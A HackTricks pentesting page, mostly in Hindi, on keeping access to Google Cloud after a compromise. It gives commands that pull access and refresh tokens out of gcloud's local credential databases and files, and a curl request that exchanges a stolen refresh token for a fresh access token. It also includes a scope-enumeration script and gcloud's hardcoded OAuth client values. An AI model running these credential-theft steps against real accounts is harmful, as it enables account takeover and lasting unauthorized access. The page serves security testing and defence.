GCP - Non-svc Persistance

HackTricks को समर्थन दें

ये उपयोगी तकनीकें हैं जब, किसी तरह, आपने कुछ GCP credentials या GCP environment में चल रही मशीन को compromise कर लिया हो।

Token Hijacking

Authenticated User Tokens

किसी उपयोगकर्ता का current token प्राप्त करने के लिए आप निम्नलिखित चला सकते हैं:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

इस पेज में देखें कि इस टोकन को सीधे gcloud का उपयोग करके कैसे उपयोग करें:

नया एक्सेस टोकन जनरेट करने के लिए विवरण प्राप्त करने के लिए चलाएं:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

यह भी संभव है कि $HOME/.config/gcloud/application_default_credentials.json और $HOME/.config/gcloud/legacy_credentials/*/adc.json में refresh tokens पाए जाएं।

refresh token, client ID, और client secret के साथ एक नया refreshed access token प्राप्त करने के लिए, निम्नलिखित कमांड चलाएं:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Admin > Security > Google Cloud session control में refresh tokens की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए भी सेट किया जा सकता है:

Auth flow

जब gcloud auth login जैसी किसी चीज़ का उपयोग करते हैं, तो प्रमाणीकरण प्रवाह ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी scopes को स्वीकार करने के बाद ब्राउज़र इस तरह के अनुरोध को टूल द्वारा खोले गए http पोर्ट पर भेजेगा:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

फिर, gcloud कुछ हार्डकोडेड client_id (32555940559.apps.googleusercontent.com) और client_secret (ZmssLNjJy2998hD4CTg2ejr2) के साथ state और code का उपयोग करेगा ताकि अंतिम refresh token data प्राप्त किया जा सके।

ध्यान दें कि localhost के साथ संचार HTTP में होता है, इसलिए refresh token प्राप्त करने के लिए डेटा को इंटरसेप्ट करना संभव है, हालांकि यह डेटा केवल 1 बार मान्य होता है, इसलिए यह बेकार होगा, refresh token को फ़ाइल से पढ़ना आसान है।

OAuth Scopes

आप सभी Google scopes को https://developers.google.com/identity/protocols/oauth2/scopes पर पा सकते हैं या उन्हें निष्पादित करके प्राप्त कर सकते हैं:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

इस स्क्रिप्ट के साथ यह देखना संभव है कि gcloud का उपयोग करके प्रमाणित करने वाला एप्लिकेशन कौन-कौन से स्कोप्स को सपोर्ट कर सकता है:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
After executing it it was checked that this app supports these scopes:

चलाने के बाद यह जांचा गया कि यह ऐप इन स्कोप्स का समर्थन करता है:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

यह देखना दिलचस्प है कि यह ऐप drive स्कोप को कैसे सपोर्ट करता है, जो एक उपयोगकर्ता को GCP से Workspace तक एस्केलेट करने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन जनरेट करने के लिए मजबूर कर देता है।

कैसे दुरुपयोग करें यहां देखें.

Service Accounts

ठीक उसी तरह जैसे प्रमाणित उपयोगकर्ताओं के साथ, यदि आप किसी सेवा खाते की निजी कुंजी फ़ाइल से समझौता करने में सफल होते हैं, तो आप इसे आमतौर पर जितनी देर चाहें एक्सेस कर सकते हैं। हालांकि, यदि आप किसी सेवा खाते का OAuth टोकन चुरा लेते हैं तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि पीड़ित निजी एपीआई कुंजी को हटा देता है, तो भी OAuth टोकन तब तक वैध रहेगा जब तक कि यह समाप्त नहीं हो जाता

Metadata

स्पष्ट रूप से, जब तक आप GCP वातावरण में चल रही मशीन के अंदर हैं, आप मेटाडेटा एंडपॉइंट से संपर्क करके उस मशीन से जुड़े सेवा खाते तक पहुंच सकते हैं (ध्यान दें कि इस एंडपॉइंट में आप जिन OAuth टोकनों तक पहुंच सकते हैं, वे आमतौर पर स्कोप द्वारा प्रतिबंधित होते हैं)।

Remediations

इन तकनीकों के लिए कुछ सुधार https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 में समझाए गए हैं।

References

HackTricks को सपोर्ट करें

Last updated